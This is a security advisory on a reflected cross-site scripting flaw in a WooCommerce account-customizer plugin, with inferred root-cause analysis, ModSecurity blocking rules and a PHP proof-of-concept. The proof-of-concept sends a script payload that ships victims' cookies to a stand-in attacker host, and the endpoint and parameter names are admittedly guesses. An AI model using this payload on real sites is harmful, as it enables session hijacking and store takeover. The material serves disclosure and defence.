Atomic Edge analysis of CVE-2026-57358 (metadata-based):
This reflected cross-site scripting vulnerability affects the SysBasics Customize My Account for WooCommerce plugin version 4.3.9 and earlier. An unauthenticated attacker can inject arbitrary JavaScript into a page that executes when a victim clicks a crafted link. The CVSS score is 6.1 (Medium), reflecting the need for user interaction and a scope change.
The root cause is insufficient input sanitization and output escaping on a plugin parameter. Based on the CWE-79 classification, the plugin likely echoes a user-supplied value (such as a GET or POST parameter) directly into HTML without using WordPress escaping functions like esc_html(), esc_attr(), or wp_kses(). Atomic Edge analysis infers this from the vulnerability description because no source code diff is available. The plugin may have a preview or customization endpoint that reflects input without sanitization.
Exploitation requires tricking a logged-in administrator or shop manager into clicking a crafted link. The attacker would target an endpoint like /wp-admin/admin-ajax.php?action=customize_my_account_preview or a similar AJAX action that echoes a parameter such as §ion=alert(1). Because the plugin customizes the WooCommerce my-account page, the vulnerable parameter may be related to section names, template paths, or color values. The attacker crafts a URL with an XSS payload and sends it via email or social engineering.
The remediation requires the vendor to apply proper input validation and output escaping on all user-controlled parameters before rendering them in the browser. The fix (version 4.3.10) likely uses esc_html() or esc_attr() for values reflected in HTML attributes or inline content. WordPress development standards recommend using wp_kses() for rich content and esc_url() for URL parameters. Atomic Edge analysis cannot confirm the specific fix without code access.
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated user’s session. This can lead to session hijacking, administrative actions (creating users, changing settings), or redirecting customers to phishing sites. The impact is limited by the requirement for user interaction, but the scope change (CVSS scope: Changed) means the attack can affect resources beyond the vulnerable component, such as taking over the WooCommerce store.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57358 (metadata-based)
# Blocks reflected XSS attacks against the Customize My Account for WooCommerce plugin
# Targets the AJAX endpoint with an inferred action and reflected parameter
# Adjust the action name if different on the target site
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57358 reflected XSS via customize-my-account-for-woocommerce AJAX',severity:'CRITICAL',tag:'CVE-2026-57358',tag:'wordpress',tag:'plugin',tag:'customize-my-account-for-woocommerce'"
SecRule ARGS_POST:action "@streq customize_my_account_preview" "chain"
SecRule ARGS_POST:section "@rx <script[^>]*>.*</script>" "t:none,t:urlDecodeUni"
# Alternative rule if the vulnerable parameter is passed via GET
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-57358 reflected XSS via customize-my-account-for-woocommerce GET',severity:'CRITICAL',tag:'CVE-2026-57358',tag:'wordpress',tag:'plugin',tag:'customize-my-account-for-woocommerce'"
SecRule ARGS_GET:action "@streq customize_my_account_preview" "chain"
SecRule ARGS_GET:section "@rx <script[^>]*>.*</script>" "t:none,t:urlDecodeUni"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57358 - SysBasics Customize My Account for WooCommerce – Live My Account Customizer <= 4.3.9 - Reflected Cross-Site Scripting
// This PoC sends a request to the vulnerable AJAX endpoint with an XSS payload.
// The exact action parameter name is inferred from the plugin's functionality (customize_my_account_preview).
// Adjust $target_url and $inferred_action if necessary based on the target site's plugin configuration.
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress URL
$inferred_action = 'customize_my_account_preview'; // Inferred AJAX action for the live preview feature
$malicious_param_name = 'section'; // Inferred parameter that is reflected without sanitization
// XSS payload: injects a script that steals cookies (for demonstration purposes)
$xss_payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>';
$post_data = array(
'action' => $inferred_action,
$malicious_param_name => $xss_payload
);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, $xss_payload) !== false) {
echo "[+] The plugin appears vulnerable to reflected XSS.n";
echo "[+] Payload was reflected in the response.n";
echo "[+] To exploit: send a user to this URL (if GET) or POST form (if POST) with the payload.n";
} else {
echo "[-] The plugin may not be vulnerable at this endpoint, or the parameter name differs.n";
echo "[-] HTTP response code: $http_coden";
}
